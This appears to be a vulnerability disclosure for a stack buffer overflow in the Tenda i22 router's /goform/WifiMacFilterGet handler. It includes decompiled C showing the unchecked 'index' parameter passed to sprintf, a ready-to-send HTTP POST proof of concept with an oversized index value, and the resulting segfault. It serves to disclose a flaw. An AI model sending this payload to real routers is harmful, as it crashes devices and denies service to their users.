Tenda i22 V1.0.0.3(4687) was discovered to contain a buffer overflow via the index parameter in the formWifiMacFilterGet function.

Description

`Tenda` Router **i22 V1.0.0.3(4687)** was discovered to contain a buffer overflow in the `httpd` module when handling `/goform/WifiMacFilterGet` request.

Firmware information

- Manufacturer's address: https://www.tenda.com.cn/
- Firmware download address : https://www.tenda.com.cn/download/detail-2747.html

Affected version

Vulnerability details

This vulnerability lies in the `/goform/WifiMacFilterGet` page，The details are shown below:

```c
int __fastcall formWifiMacFilterGet(int a1)
{
  int v1; // r0
  int v2; // r0
  char v5[10240]; // [sp+34h] [bp-5098h] BYREF
  char v6[100]; // [sp+2834h] [bp-2898h] BYREF
  char v7[10240]; // [sp+2898h] [bp-2834h] BYREF
  int s[8]; // [sp+5098h] [bp-34h] BYREF
  char *wl_radio_value; // [sp+50B8h] [bp-14h]
  char *index_value; // [sp+50BCh] [bp-10h]

  index_value = (char *)get_value_from_web(a1, "index", "0");
  wl_radio_value = (char *)get_value_from_web(a1, "wl_radio", "0");
  memset(s, 0, sizeof(s));
  memset(v7, 0, sizeof(v7));
  memset(v6, 0, sizeof(v6));
  memset(v5, 0, sizeof(v5));
  if ( !strcmp(wl_radio_value, "0") )
  {
    strcmp(index_value, "0");
    sprintf((char *)s, "wl2g.ssid%s.", index_value);
  }
  else if ( !strcmp(wl_radio_value, "1") )
  {
    strcmp(index_value, "0");
    sprintf((char *)s, "wl5g.ssid%s.", index_value);
  }
  v1 = sub_343B0(s, "macmode", v6);
  GetValue(v1, v5);
  if ( !strcmp(v5, "disabled") )
  {
    strcat(v7, "0");
    strcat(v7, "\r");
    strcat(v7, "0");
    strcat(v7, "\r");
  }
```

POC

This POC can result in a Dos.

```
POST /goform/WifiMacFilterGet HTTP/1.1
Host: 192.168.204.133
Content-Length: 2068
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.204.133
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.204.133/system_hostname.asp?version=1487847846
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bLanguage=cn; password=jbl1qw; user=
Connection: close

wl_radio=0&index=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

```
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
```